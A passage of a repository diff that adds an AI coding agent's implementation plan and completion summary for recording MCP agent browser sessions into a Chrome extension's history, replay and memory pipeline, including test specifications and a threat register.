"fsbMcpSessionRecorder\\.recordDispatch" + - from: "extension/utils/mcp-session-recorder.js" + to: "globalThis.automationLogger.saveSession" + via: "direct global call on session close (NEVER chrome.runtime.sendMessage -- in-SW sendMessage does not loop back)" + pattern: "automationLogger.*saveSession" + - from: "extension/utils/mcp-session-recorder.js" + to: "extractAndStoreMemories" + via: "lazy global call on session close, fire-and-forget with .catch" + pattern: "extractAndStoreMemories" + - from: "extension/background.js" + to: "extension/utils/mcp-session-recorder.js" + via: "one new load line placed after utils/mcp-metrics-recorder.js" + pattern: "utils/mcp-session-recorder\\.js" + - from: "extension/utils/automation-logger.js" + to: "extension/ui/sidepanel.js" + via: "indexEntry.mode + indexEntry.mcpClient consumed by loadHistoryList badge" + pattern: "mcpClient" +--- + + +Record MCP agent sessions (agents driving the browser through MCP tools over the WebSocket bridge) into the SAME logs/history/replay/memory pipeline that autopilot runs use today. Extension-side only; ZERO changes under mcp/. + +Purpose: today only automation-engine (autopilot) runs land in fsbSessionLogs/fsbSessionIndex, replay, and memory. MCP-driven work is invisible in history. This closes that gap using the locked design (recorder sibling of the Phase 271 metrics recorder at the two dispatcher choke points). +Output: new extension/utils/mcp-session-recorder.js + dispatcher hooks + badge plumbing + regression test. + + + +@$HOME/.claude/get-shit-done/workflows/execute-plan.md +@$HOME/.claude/get-shit-done/templates/summary.md + + + +@.planning/quick/260707-7id-record-mcp-agent-sessions-into-logs-hist/260707-7id-PLAN.md + +Exploration note: graphify-out/graph.json exists โ€” run `graphify query ""` before opening files for orientation. The file:line references in this plan are pre-verified (2026-07-07); reading those exact locations directly is fine. + +Working-tree caution (verified via git status): extension/ui/options.css, extension/ui/options.js, and package.json carry PRE-EXISTING uncommitted local edits, and tests/settings-card-select-clipping.test.js + tests/control-panel-scroll-containment.test.js are untracked local files that the local package.json test chain already references. Do NOT revert or commit those pre-existing edits. Commit rules are in Task 3. + + + + + +1. Dispatcher choke points โ€” extension/ws/mcp-tool-dispatcher.js: + - `dispatchMcpToolRoute({ tool, params, client, tab, payload })` at line 514. Its finally block (560-579) calls, inside its own try/catch, NOT awaited: + `globalThis.fsbMcpMetricsRecorder.recordDispatch({ client: resolveMcpClientLabel(payload), tool, requestPayload: payload, response, success, dispatcher_route: 'tool' })` + - `dispatchMcpMessageRoute({ type, payload, client, mcpMsgId, _mcpMetricsSuppressInner })` at line 582. Its finally block (632-664) makes the same call with `tool: type, dispatcher_route: 'message'`, gated by `if (!_mcpMetricsSuppressInner)` (line 646). The gate comment at 641-645 warns: NEVER `return` from inside a finally. + - `resolveMcpClientLabel(payload)` (line 456) is synchronous, returns a string label, maintains a per-agent cache persisted to chrome.storage.session key fsbAgentClientLabels. + - `run_task` alias at line 73: `run_task: { routeFamily: 'autopilot', messageType: 'mcp:start-automation', handler: handleToolAliasRoute }`. + - Wire payload shape: `{ tool, params, agentId, ownershipToken, connectionId, visualSession?: { visualReason, client, isFinal } }`. The visualSession sidecar exists ONLY on mutating action tools; read-only routes carry agentId but no sidecar. + +2. Source pin (tests/mcp-dispatcher-client-label.test.js Test 9, lines 211-236): + - Pattern `/globalThis\.fsbMcpMetricsRecorder\.recordDispatch\(\{[\s\S]*?\}\);/g` must keep matching EXACTLY 2 sites, each containing `resolveMcpClientLabel(payload)` and no bare `client,` arg. The pattern is fsbMcpMetricsRecorder-specific, so `globalThis.fsbMcpSessionRecorder.recordDispatch({...});` calls placed OUTSIDE those matched spans (separate sibling try/catch statements) do not disturb it. + +3. automation-logger โ€” extension/utils/automation-logger.js (global: `globalThis.automationLogger` set at line 990): + - `async saveSession(sessionId, sessionData)` at 703. GATE at 709: returns false when `getSessionLogs(sessionId)` is empty โ€” the recorder MUST emit session-bound logs before calling saveSession. + - `getSessionLogs(sessionId)` at 638 filters `log.data?.sessionId === sessionId`. + - Log emitters: `logSessionStart(sessionId, task, tabId)` (225), `logAction(sessionId, action, result)` (239) โ€” both stamp data.sessionId. + - saveSession NEW mode (765-799) builds the stored session from sessionData; `task` comes from `buildPersistedSessionMetadata` line 167: `sessionData.task || ...`. actionHistory persists `(sessionData.actionHistory||[]).filter(a => a.result?.success).slice(-100).map(a => ({tool, params, result, timestamp}))`. + - indexEntry (807-826) currently has NO mode/client fields. Index capped at 50 (830-834). Key storage: fsbSessionLogs + fsbSessionIndex in chrome.storage.local. + +4. Session schema โ€” extension/ai/session-schema.js: `mode` field at 359-363, type 'string (autopilot|mcp-manual|mcp-agent|dashboard-remote)', default 'autopilot'. `createSession(overrides)` factory at 379. Loaded into the SW at background.js:539 as a classic script, so `createSession` is a SW global at runtime (but NOT yet defined when mcp-session-recorder.js loads at ~line 75 โ€” always lazy-guard with `typeof createSession === 'function'`). + +5. Memory handoff โ€” background.js `extractAndStoreMemories(sessionId, session)` at 659-709: tolerates a missing AI instance (`const ai = sessionAIInstances.get(sessionId); if (ai) {...}` โ€” enrichment skipped), then derives domain from `session.actionHistory[].params?.url` with `session.lastUrl` fallback, then `memoryManager.add(session, { domain })` unconditionally. Existing call convention: `extractAndStoreMemories(sessionId, session).catch(() => {})`. It is a top-level function declaration in background.js, therefore a SW global โ€” lazy-guard `typeof extractAndStoreMemories === 'function'`. + +6. Autopilot session id format โ€” background.js:9121 and 9415: `` const sessionId = `session_${Date.now()}` ``. + +7. storage.session envelope pattern โ€” extension/utils/mcp-task-store.js: key const at 51, `FSB_RUN_TASK_REGISTRY_PAYLOAD_VERSION = 1` at 52; reads return canonical `{ v: 1, records: {} }` on missing/version-mismatch/malformed (64-89); the storage key is REMOVED when records is empty (94). Lazy `globalThis.chrome` access so the file is require()-able in Node tests. + +8. Redaction โ€” extension/utils/redactForLog.js exposes `globalThis.redactForLog(value, hint)` (line 29): SHAPE-ONLY (strings -> {kind,length} or {kind:'url',origin}; objects -> {kind:'object',keys:N}). audit-log.js uses it via a lazy guard (`typeof globalThis.redactForLog === 'function'`, audit-log.js:68-71). + +9. Metrics recorder template โ€” extension/utils/mcp-metrics-recorder.js: IIFE, registers `globalThis.fsbMcpMetricsRecorder = {...}` at tail; test seam `_setStorageShim(shim)`; `_resolveStorage()` lazily picks chrome.storage.local (170-175); `_withRecordLock` serializes writes (226); recordDispatch at 261 never throws. + +10. Loading โ€” background.js:65 `try { importScripts('ws/mcp-tool-dispatcher.js'); } catch ...`; line 74 same for utils/mcp-metrics-recorder.js (comments at 66-73 document the load-order contract). TRIPWIRE: tests/lattice-provider-bridge-smoke.test.js:568+ pins `grep -c "importScripts"` on background.js as a running tally with per-phase provenance comments (568-584+); every new token mention (code OR comment) must bump the pinned count. + +11. Visual lifecycle โ€” extension/utils/mcp-visual-session-lifecycle.js:79 `MCP_VISUAL_LIFECYCLE_DEATH_MS = 60000`, sliding re-arm on every action call. The recorder mirrors the 60s sliding-window semantics with its OWN idle timer; do not couple to that module. + +12. UI list surfaces: + - extension/ui/sidepanel.js `loadHistoryList()` at 3430; meta spans built at 3453-3458 inside `'
'`; `escapeHtml` available. + - extension/ui/options.js `loadSessionList()` at 2767; meta spans at 2791-2795 inside `session-item-meta`; `escapeHtml` available. FILE HAS PRE-EXISTING LOCAL EDITS. + +13. Test harness template โ€” tests/mcp-dispatcher-client-label.test.js: fs.readFileSync of extension sources, chrome shim install (installChromeShim, line 263), drainMicrotasks (303), passAssert/passAssertEqual with passed/failed counters, `--- Test N: ---` section logs, process.exit(0|1). npm test chain lives in package.json line 17; it runs `node tests/mcp-dispatcher-client-label.test.js` right after `node tests/mcp-metrics-recorder.test.js`. + + + + + + Task 1: Create mcp-session-recorder.js and hook it into the dispatcher and SW load order + extension/utils/mcp-session-recorder.js, extension/ws/mcp-tool-dispatcher.js, extension/background.js, tests/lattice-provider-bridge-smoke.test.js + +**A. Create extension/utils/mcp-session-recorder.js** (new file, IIFE + 'use strict', lazy `globalThis.chrome` access everywhere so the file loads under plain Node require() like mcp-task-store.js). Registers `globalThis.fsbMcpSessionRecorder` at the tail (object-literal registration mirroring mcp-metrics-recorder.js). + +Public API: `recordDispatch(entry)` where entry has the exact shape the metrics recorder receives: `{ client, tool, requestPayload, response, success, dispatcher_route }` (see interfaces item 1). Entire body wrapped in try/catch โ€” it must NEVER throw and never return a meaningful value (fire-and-forget contract). + +Internal state: an in-memory Map of open sessions keyed `agentId + '::' + tabId` (tabId from `requestPayload.params?.tabId`, `'none'` when absent). Each record: `{ sessionId, agentId, tabId, task, client, startTime, lastActivityAt, deadlineAt, lastUrl, visualReasons: [], actionHistory: [], sawActionTool }`. + +recordDispatch logic, in order: +1. `payload = entry.requestPayload || {}`; `agentId = payload.agentId`. No agentId (non-string/empty) -> ignore silently. +2. Skip `entry.tool === 'run_task'` entirely โ€” it aliases to mcp:start-automation and the automation engine already records that run; recording it here would double sessions. +3. Lazy sweep: close any open session whose `deadlineAt <= now` (reason 'expired') before processing the new call. +4. Sidecar present (`payload.visualSession` is an object) -> this is an action tool call: + - Look up session by agentId+tabId key. If none, BIRTH: sessionId = `` `session_${Date.now()}` `` (autopilot format, interfaces item 6) with a monotonic guard โ€” if the generated timestamp is <= the last one this recorder generated, use last+1 (prevents same-ms collisions between concurrently-born recorder sessions; cross-engine same-ms collision accepted per locked design). task = sidecar `visualReason` (fallback: `String(entry.tool)`); client = sidecar `client` or `entry.client`. Call `automationLogger.logSessionStart(sessionId, task, tabId)` via a lazy `globalThis.automationLogger` guard โ€” this seeds session-bound logs so saveSession's empty-logs gate at automation-logger.js:709 passes. + - Set `sawActionTool = true`. +5. No sidecar (read-only tool route or message route) -> JOIN: find the open session with matching agentId that has the most recent lastActivityAt (any tabId โ€” attribution fallback mirrors resolveMcpClientLabel's per-agent semantics). No open session for that agentId -> ignore (this is what structurally enforces the >=1-action persistence gate: read-only calls never birth sessions). +6. Append to actionHistory: `{ tool: entry.tool, params: redactParams(payload.params), result: entry.response, timestamp: Date.now() }`; cap the in-memory array at 100 (drop oldest โ€” matches the saveSession persistence cap). If `entry.tool === 'navigate'` and `payload.params?.url` and `entry.success` -> `session.lastUrl = payload.params.url` (feeds extractAndStoreMemories' domain fallback). Push visualReason into visualReasons when new. Call `automationLogger.logAction(sessionId, { tool: entry.tool, params: }, entry.response)` (lazy guard). +7. Update `lastActivityAt = now`, `deadlineAt = now + 60000` (mirror MCP_VISUAL_LIFECYCLE_DEATH_MS = 60000 sliding semantics, interfaces item 11) and re-arm the session's idle timer via injectable timer functions (see test seams below): on fire -> closeSession(key, 'expired'). +8. `payload.visualSession.isFinal === true` (also tolerate snake_case `is_final === true` โ€” the wire spec has used both spellings) -> closeSession(key, 'final') AFTER the append, so the final action is part of the history. +9. After every state mutation, persist the open-session buffer (fire-and-forget, writes serialized through a small promise-chain lock like _withRecordLock in mcp-metrics-recorder.js). + +closeSession(key, reason): +- Remove from map, clear its timer, persist the buffer update. +- Guard: `sawActionTool` must be true AND actionHistory.length >= 1, else drop without persisting (defence in depth for the >=1-action gate). +- Build the session object: use lazy `typeof createSession === 'function' ? createSession(overrides) : { ...manual object with the same keys }` (interfaces item 4 โ€” createSession is a SW global at runtime but absent in bare Node and absent at recorder load time). Overrides: `{ id: sessionId, task, status: 'completed', startTime, endTime: Date.now(), tabId: numeric tabId or null, actionHistory, iterationCount: actionHistory.length, lastUrl, mode: 'mcp-agent', mcpClient: client }`. `mode: 'mcp-agent'` is the locked schema value (session-schema.js:359-363). +- Call `globalThis.automationLogger.saveSession(sessionId, session)` (lazy guard; direct global call โ€” NEVER chrome.runtime.sendMessage, which does not loop back inside the SW). +- Memory handoff: `if (typeof extractAndStoreMemories === 'function') extractAndStoreMemories(sessionId, session).catch(function(){})` โ€” verified to tolerate the missing AI instance (background.js:664-679 `if (ai)` guard) and to call memoryManager.add unconditionally. If the global is absent (bare-Node tests), skip silently. +- OPTIONAL (only if trivially reachable): AI title/summary synthesis from the joined visualReasons chain via an existing global provider helper, fire-and-forget, then re-call saveSession with the updated `task` (APPEND mode picks up sessionData.task via automation-logger.js:167). If no single-call global helper exists, SKIP โ€” first-visualReason seeding is the locked default. Do not build provider plumbing for this. + +redactParams(params): deep-clone (JSON round-trip with try/catch fallback to `{}`); recursively replace the VALUE of any key matching `/pass(word)?|secret|token|credential|api[-_]?key|authorization/i` using `globalThis.redactForLog(value)` when available (lazy guard exactly like audit-log.js:68-71) else the literal string `'[REDACTED]'`. Do NOT shape-redact whole params: redactForLog is shape-only (interfaces item 8) and would destroy replay fidelity โ€” locked design point 3 requires the replay engine to consume recorded params unmodified, so replay-critical values (url, selector, text) persist raw. This key-targeted pass is the reconciliation of locked points 3 and 7. Note: `ownershipToken` never enters actionHistory because only `payload.params` is recorded, but the key pattern above also catches a params-level token if one ever appears. + +Eviction survival: persist open sessions to chrome.storage.session under key `fsbMcpSessionBuffer` with the versioned envelope pattern of mcp-task-store.js (interfaces item 7): `{ v: 1, records: { [key]: serializedSession } }`; canonical empty envelope on missing/mismatched/malformed; REMOVE the storage key when records is empty. On module load, fire-and-forget restore: read the envelope; sessions with `deadlineAt <= now` -> closeSession immediately (reason 'expired'); others rehydrate into the map and re-arm timers for the remaining window. + +Test seams (underscored, mirroring mcp-metrics-recorder.js): `_setStorageShim(shim)` (replaces the chrome.storage.session accessor), `_setTimeShim({ now, setTimeout, clearTimeout })` (injectable clock/timers so the 60s expiry test needs no real waiting), `_peekOpenSessions()`, `_resetForTests()`, `_restoreFromBuffer()` (exposed so tests can drive the eviction-restore path deterministically). + +**B. Hook the dispatcher** โ€” extension/ws/mcp-tool-dispatcher.js. In BOTH finally blocks, add a SEPARATE sibling try/catch statement placed AFTER the existing metrics-recorder try/catch (never nested inside it, never between `globalThis.fsbMcpMetricsRecorder.recordDispatch({` and its closing `});` โ€” Test 9's regex spans, interfaces item 2): +- In `dispatchMcpToolRoute`'s finally (after line 578's closing `catch`): guard `typeof globalThis !== 'undefined' && globalThis.fsbMcpSessionRecorder && typeof globalThis.fsbMcpSessionRecorder.recordDispatch === 'function'`, then call NOT awaited: `globalThis.fsbMcpSessionRecorder.recordDispatch({ client: resolveMcpClientLabel(payload), tool, requestPayload: payload, response, success, dispatcher_route: 'tool' });` wrapped in `try { ... } catch (_e) { /* defence in depth -- never let session recording break dispatch */ }`. +- In `dispatchMcpMessageRoute`'s finally: the same sibling block INSIDE the existing `if (!_mcpMetricsSuppressInner) { ... }` body (after the metrics try/catch, before the `if` closes) with `tool: type, dispatcher_route: 'message'` โ€” the alias suppression flag MUST gate the session recorder too, or alias-routed tools (run_task, read_page, ...) would be recorded twice. Do NOT add any `return` inside the finally blocks (comment at 641-645). +- Use `client: resolveMcpClientLabel(payload)` in both new calls; never a bare `client,` (Test 9 hygiene, and the recorder needs the resolved string label). + +**C. Wire the SW load** โ€” extension/background.js: add EXACTLY ONE new line directly after line 74 (the utils/mcp-metrics-recorder.js load): `try { importScripts('utils/mcp-session-recorder.js'); } catch (e) { console.error('[FSB] Failed to load mcp-session-recorder.js:', e.message); }`. If you add an explanatory comment line, it MUST NOT contain the token "importScripts" (source-pin tripwire: even comment mentions are counted). Load order requirement satisfied by placement: after ws/mcp-tool-dispatcher.js (line 65) and utils/mcp-metrics-recorder.js (line 74). + +**D. Bump the pinned count** โ€” tests/lattice-provider-bridge-smoke.test.js: the running-tally block starting at line 568 documents the expected `grep -c "importScripts"` count for background.js per phase. Run `grep -c "importScripts" extension/background.js` after edit C, find the current expected-count assertion below the comment block (below line 584), set it to the new count (+1 if you added only the single code line with no token-bearing comment), and append one provenance comment line following the existing convention, e.g. `// Quick 260707-7id: mentions (+1 new line for utils/mcp-session-recorder.js -- MCP session recorder).` + + + node -e "require('./extension/utils/mcp-session-recorder.js'); const r = globalThis.fsbMcpSessionRecorder; if (!r || typeof r.recordDispatch !== 'function') { console.error('recorder global missing'); process.exit(1); } console.log('recorder loads under Node and registers global');" && node tests/mcp-dispatcher-client-label.test.js && node tests/lattice-provider-bridge-smoke.test.js && node tests/mcp-metrics-recorder.test.js && node tests/mcp-tool-routing-contract.test.js + + Recorder file exists, loads under bare Node, and registers globalThis.fsbMcpSessionRecorder. Both dispatcher finally blocks carry the sibling session-recorder hook (message route inside the !_mcpMetricsSuppressInner gate). background.js loads the recorder after the metrics recorder. Test 9 pin (exactly 2 fsbMcpMetricsRecorder sites) and the lattice importScripts tally both still pass. + + + + Task 2: Carry mode + client through saveSession/index and render source badges in both history lists + extension/utils/automation-logger.js, extension/ui/sidepanel.js, extension/ui/options.js + +**A. extension/utils/automation-logger.js โ€” persist mode + client:** +- NEW mode session object (the literal at 765-799): add `mode: sessionData.mode || 'autopilot',` and `mcpClient: sessionData.mcpClient || null,` (place near `tabId`). +- APPEND mode block (717-760): add `existing.mode = sessionData.mode || existing.mode || 'autopilot';` and `existing.mcpClient = sessionData.mcpClient || existing.mcpClient || null;` alongside the other field carries. +- indexEntry (807-826): add `mode: savedSession.mode || 'autopilot',` and `mcpClient: savedSession.mcpClient || null,`. Index entries predating this change simply lack the fields and default to Autopilot in the UI. + +**B. extension/ui/sidepanel.js โ€” loadHistoryList badge (3446-3468):** inside the `history-item-meta` div (before the existing status span at 3457), add one span: when `session.mode === 'mcp-agent'` render `'MCP ยท ' + escapeHtml(session.mcpClient || 'Agent') + ''`, else `'Autopilot'`. Plain meta-row span, consistent with the sibling spans โ€” NO new CSS files, no redesign, no filter control (locked scope: badge only; note the skipped optional filter in the summary). + +**C. extension/ui/options.js โ€” loadSessionList badge (2787-2812):** same conditional span appended to the `session-item-meta` div (class `session-source-badge` + `mcp` modifier), using the template-literal style of that function. CAUTION: options.js has PRE-EXISTING uncommitted local edits โ€” make surgical edits at this one insertion point only; do not touch or reflow anything else in the file. + + + node -e "const fs=require('fs'); const al=fs.readFileSync('extension/utils/automation-logger.js','utf8'); const sp=fs.readFileSync('extension/ui/sidepanel.js','utf8'); const op=fs.readFileSync('extension/ui/options.js','utf8'); const checks=[[/mcpClient: savedSession\.mcpClient \|\| null/.test(al),'indexEntry.mcpClient'],[/mode: savedSession\.mode \|\| 'autopilot'/.test(al),'indexEntry.mode'],[/history-source-badge/.test(sp),'sidepanel badge'],[/session-source-badge/.test(op),'options badge'],[/MCP ยท /.test(sp) && /MCP ยท /.test(op),'MCP ยท label form']]; let bad=checks.filter(c=>!c[0]); if(bad.length){console.error('missing: '+bad.map(c=>c[1]).join(', ')); process.exit(1);} console.log('badge plumbing present');" && node tests/settings-card-select-clipping.test.js && node tests/control-panel-scroll-containment.test.js && node tests/sidepanel-tab-aware-smoke.test.js && node tests/sidepanel-message-log-smoke.test.js + + saveSession stores and indexes mode + mcpClient (both NEW and APPEND paths). Sidepanel history items and options session items show 'MCP ยท ' for mcp-agent sessions and 'Autopilot' otherwise. Pre-existing local edits in options.js remain intact (verify with git diff โ€” only the badge insertion added). The local options/sidepanel pin tests still pass. + + + + Task 3: Regression test suite, npm test registration, full-suite tripwire sweep, commit + tests/mcp-session-recorder.test.js, package.json + +**A. Create tests/mcp-session-recorder.test.js** in the repo's plain-Node no-framework style, mirroring tests/mcp-dispatcher-client-label.test.js (interfaces item 13): fs.readFileSync + require/eval of extension/utils/mcp-session-recorder.js, a chrome shim (storage.session via `_setStorageShim`), stubs installed on globalThis for `automationLogger` (capturing logSessionStart/logAction/saveSession invocations) and `extractAndStoreMemories` (capturing calls, returning a Promise), `_setTimeShim` fake clock, drainMicrotasks helper, passAssert/passAssertEqual with passed/failed counters, `--- Test N: ---` section logs, and `process.exit(failed > 0 ? 1 : 0)`. Use `_resetForTests()` between sections. + +Feed the recorder through its public surface: `globalThis.fsbMcpSessionRecorder.recordDispatch({ client, tool, requestPayload, response, success, dispatcher_route })` with realistic payloads (`{ tool, params, agentId, visualSession: { visualReason, client, isFinal } }`). + +Cover the 10 locked cases: +1. Birth on first sidecar action: session created keyed agentId+tabId; logSessionStart called; task === first visualReason; client label captured; sessionId matches /^session_\d+$/. +2. actionHistory accumulation: three dispatches -> three `{tool, params, result, timestamp}` entries in order. +3. Read-only join by agentId: a no-sidecar dispatch with the same agentId joins the open session (entry appended); a no-sidecar dispatch with an UNKNOWN agentId creates nothing. +4. isFinal close: dispatch with `visualSession.isFinal: true` -> saveSession invoked exactly once with (sessionId, session) where session.mode === 'mcp-agent', session.task === first visualReason, session.actionHistory includes the final action, session.mcpClient set; extractAndStoreMemories stub called with the same sessionId+session. +5. 60s idle expiry: advance the fake clock past deadlineAt (and/or fire the shimmed timer) -> session closes, saveSession called; a fresh action within 60s re-arms (no premature close โ€” assert saveSession NOT called before expiry). +6. run_task skipped: a run_task dispatch (even with a sidecar) creates no session and appends nothing. +7. >=1-action persistence gate: pure read-only burst (agentId but never a sidecar) -> no session born, saveSession never called. +8. Redaction: an action with `params: { url: 'https://example.com/x', password: 'hunter2', nested: { apiKey: 'k' } }` -> persisted entry has url EXACTLY 'https://example.com/x' (raw, replay-critical), password and nested.apiKey NOT equal to their originals and not present anywhere in JSON.stringify of the stored actionHistory. +9. Recorder never throws: install throwing automationLogger/storage shims -> recordDispatch returns undefined without throwing (wrap in explicit try/catch and assert no throw). Also assert the dispatcher-side contract via source: both hook sites are wrapped in their own try/catch. +10. Source-pin guards (mirroring Test 9 of mcp-dispatcher-client-label.test.js): read extension/ws/mcp-tool-dispatcher.js and assert (a) exactly 2 matches of /globalThis\.fsbMcpSessionRecorder\.recordDispatch\(\{[\s\S]*?\}\);/g, (b) each contains `resolveMcpClientLabel(payload)`, (c) the message-route site appears inside the `if (!_mcpMetricsSuppressInner)` block (assert the substring order: the gate line appears before the fsbMcpSessionRecorder call within the second finally), (d) the original fsbMcpMetricsRecorder pattern still matches exactly 2 sites; read extension/background.js and assert exactly one line loads 'utils/mcp-session-recorder.js'. + +Also cover eviction restore (part of case 5's machinery): seed the storage shim with a v:1 envelope containing one expired and one live session, call `_restoreFromBuffer()`, assert the expired one closed (saveSession called) and the live one is back in `_peekOpenSessions()`. Assert a malformed envelope (wrong `v`) is treated as empty. + +**B. Register in package.json:** insert `&& node tests/mcp-session-recorder.test.js` into the test chain (line 17) immediately after `node tests/mcp-dispatcher-client-label.test.js`. SURGICAL string insertion only โ€” package.json carries pre-existing local edits that must remain byte-identical elsewhere. + +**C. Full-suite tripwire sweep:** run `npm test` (includes `npm --prefix mcp run build` โ€” fine; mcp/ sources are untouched). Fix ONLY breakages caused by this task's edits (token-count/substring pins over background.js, mcp-tool-dispatcher.js, automation-logger.js, sidepanel.js, options.js โ€” e.g. any test counting tokens in files we touched). Update such pins following each test's documented convention (as done for the lattice tally in Task 1). Do NOT fix pre-existing failures unrelated to this task; report them in the summary instead. + +**D. Commit** (message style: `feat(quick-260707-7id): record MCP agent sessions into logs/history/replay/memory`; NO AI/Co-Authored-By attribution lines): stage ONLY extension/utils/mcp-session-recorder.js, extension/ws/mcp-tool-dispatcher.js, extension/background.js, extension/utils/automation-logger.js, extension/ui/sidepanel.js, tests/lattice-provider-bridge-smoke.test.js, tests/mcp-session-recorder.test.js. LEAVE UNCOMMITTED: extension/ui/options.js and package.json (both carry pre-existing local edits entangled with this task's surgical additions โ€” and the local package.json chain references untracked test files that are not ours to commit; committing it would break CI). Flag both left-out files prominently in the SUMMARY so the user commits them together with their own pending work. + + + node tests/mcp-session-recorder.test.js && npm test + + tests/mcp-session-recorder.test.js passes all 10 locked cases plus eviction-restore, is registered in the package.json chain, full npm test exits 0 (or only pre-existing unrelated failures remain, documented), and the commit contains exactly the seven clean files with options.js + package.json left as flagged local edits. + + + + + +## Trust Boundaries + +| Boundary | Description | +|----------|-------------| +| MCP client -> WS bridge -> dispatcher | untrusted tool params (may embed credentials typed into pages) cross into persisted session logs | +| chrome.storage.local session logs -> UI | recorded params rendered in history/log viewers | + +## STRIDE Threat Register + +| Threat ID | Category | Component | Disposition | Mitigation Plan | +|-----------|----------|-----------|-------------|-----------------| +| T-q7id-01 | Information Disclosure | mcp-session-recorder redactParams | mitigate | sensitive-key redaction (password/secret/token/credential/apikey/authorization) via lazy globalThis.redactForLog before any persist; test case 8 proves secrets absent from stored actionHistory | +| T-q7id-02 | Denial of Service | dispatcher finally hooks | mitigate | fire-and-forget, double try/catch, no await, no return-in-finally โ€” recorder can never alter or delay dispatcher responses (test case 9 + pin guards) | +| T-q7id-03 | Tampering | fsbMcpSessionBuffer envelope | mitigate | versioned envelope; wrong version/malformed payload collapses to canonical empty (no code paths consume unvalidated shapes); chrome.storage.session is extension-private | +| T-q7id-04 | Spoofing | badge client label | accept | client label is self-reported by the MCP client (same trust level as the existing resolveMcpClientLabel telemetry path); display-only, escapeHtml'd at render | +| T-q7id-SC | Tampering | package installs | accept | no new packages installed by this task (extension-side plain JS only) | + + + +1. `node tests/mcp-session-recorder.test.js` โ€” all 10 locked cases + eviction restore green. +2. `node tests/mcp-dispatcher-client-label.test.js` โ€” Test 9 metrics pins undisturbed (exactly 2 fsbMcpMetricsRecorder sites). +3. `node tests/lattice-provider-bridge-smoke.test.js` โ€” background.js importScripts tally updated correctly. +4. Full `npm test` exits 0 (mcp/ build included; zero mcp/ source diffs โ€” confirm with `git status mcp/`). +5. `git diff extension/ui/options.js` shows ONLY the badge insertion beyond the pre-existing local edits; `git log -1 --stat` shows exactly the seven staged files. + + + +- MCP agent activity (sidecar action -> follow-ups -> is_final or 60s idle) produces a session in fsbSessionLogs/fsbSessionIndex with mode 'mcp-agent', task from first visual_reason, replayable actionHistory, and memory extraction โ€” the same pipeline autopilot uses. +- run_task and pure read-only bursts produce no sessions; aliased tools record once (suppression flag honored). +- Open sessions survive SW eviction via the fsbMcpSessionBuffer versioned envelope. +- History lists show 'MCP ยท ' vs 'Autopilot' badges in sidepanel and options. +- Zero changes under mcp/; no tool schema changes; dispatcher behavior byte-compatible for callers. +- Full test suite green with the new regression file registered; no unrelated local edits committed. + + + +Create `.planning/quick/260707-7id-record-mcp-agent-sessions-into-logs-hist/260707-7id-SUMMARY.md` when done. Must flag: (a) options.js and package.json left uncommitted with mixed local + task edits, (b) whether the optional AI title synthesis was implemented or skipped, (c) any pre-existing test failures encountered. + diff --git a/.planning/quick/260707-7id-record-mcp-agent-sessions-into-logs-hist/260707-7id-SUMMARY.md b/.planning/quick/260707-7id-record-mcp-agent-sessions-into-logs-hist/260707-7id-SUMMARY.md new file mode 100644 index 000000000..7bed2ad7d --- /dev/null +++ b/.planning/quick/260707-7id-record-mcp-agent-sessions-into-logs-hist/260707-7id-SUMMARY.md @@ -0,0 +1,130 @@ +--- +phase: quick-260707-7id +plan: 01 +subsystem: mcp-bridge / session-history +tags: [mcp, session-recording, replay, memory, history-badges, mv3-eviction] +requires: + - extension/ws/mcp-tool-dispatcher.js dispatch choke points (Phase 271 metrics-recorder pattern) + - extension/utils/automation-logger.js saveSession + fsbSessionLogs/fsbSessionIndex + - background.js extractAndStoreMemories + session-schema createSession +provides: + - globalThis.fsbMcpSessionRecorder (extension/utils/mcp-session-recorder.js) + - fsbSessionIndex entries with mode + mcpClient fields + - MCP/Autopilot source badges in sidepanel + options history lists +affects: + - extension/ws/mcp-tool-dispatcher.js (both finally blocks) + - extension/background.js (SW load order) + - extension/utils/automation-logger.js (NEW/APPEND/index paths) +tech-stack: + added: [] + patterns: + - versioned chrome.storage.session envelope (mcp-task-store.js pattern, key fsbMcpSessionBuffer v1) + - promise-chain write lock (_withRecordLock pattern) + - lazy-global direct calls in SW (never chrome.runtime.sendMessage in-SW) +key-files: + created: + - extension/utils/mcp-session-recorder.js + - tests/mcp-session-recorder.test.js + modified: + - extension/ws/mcp-tool-dispatcher.js + - extension/background.js + - extension/utils/automation-logger.js + - extension/ui/sidepanel.js + - tests/lattice-provider-bridge-smoke.test.js + - extension/ui/options.js (LEFT UNCOMMITTED -- mixed with pre-existing local edits) + - package.json (LEFT UNCOMMITTED -- mixed with pre-existing local edits) +decisions: + - "Optional AI title/summary synthesis SKIPPED (locked default: task seeded from first visualReason; no single-call global provider helper exists)" + - "Single commit at Task 3 with exactly the seven clean files, per the plan's explicit commit protocol (options.js + package.json left as flagged local edits)" + - "closeSession re-seeds one session-bound log entry when getSessionLogs(sessionId) is empty so the saveSession empty-logs gate passes on post-eviction restore closes" +metrics: + duration: "20m 19s" + completed: "2026-07-07T10:59:31Z" + tests: "npm test exit 0; new suite 94 passed / 0 failed" + commit: 721e2826 +--- + +# Quick Task 260707-7id: Record MCP Agent Sessions into Logs/History/Replay/Memory Summary + +**One-liner:** MCP-agent browsing sessions (sidecar action calls through is_final or 60s idle) now land in fsbSessionLogs/fsbSessionIndex with mode 'mcp-agent', replay-shape actionHistory, and memory extraction via a dispatcher-choke-point sibling recorder that survives MV3 SW eviction through a versioned fsbMcpSessionBuffer envelope. + +## What Was Built + +1. **extension/utils/mcp-session-recorder.js** (new, 697 lines) -- IIFE classic script, lazy `globalThis.chrome`, registers `globalThis.fsbMcpSessionRecorder` plus a CommonJS mirror. Sessions keyed `agentId::tabId`; birth on first `visualSession` sidecar action (autopilot-format `session_` id with same-ms monotonic guard, task from first `visualReason`, `logSessionStart` seeds the saveSession log gate); sidecar-less calls JOIN the agent's most recently active session (unknown agentId ignored -- structurally enforces the >=1-action gate); `run_task` skipped entirely; close on `isFinal`/`is_final` or the 60s sliding idle window (own injectable timer + lazy sweep, mirroring mcp-visual-session-lifecycle semantics). Close builds the session via lazy `createSession` (manual same-keys object under Node) with `mode: 'mcp-agent'` + `mcpClient`, then calls `automationLogger.saveSession` and `extractAndStoreMemories` through DIRECT globals (never in-SW sendMessage), both fire-and-forget. Key-targeted redaction (`pass(word)?|secret|token|credential|api[-_]?key|authorization`) via lazy `redactForLog` (literal `[REDACTED]` fallback); url/selector/text persist raw for replay. Open sessions persist to `chrome.storage.session.fsbMcpSessionBuffer` `{v:1, records}` (canonical-empty on mismatch, key removed when empty); module-load restore closes expired sessions and re-arms live ones. + +2. **Dispatcher hooks** -- separate 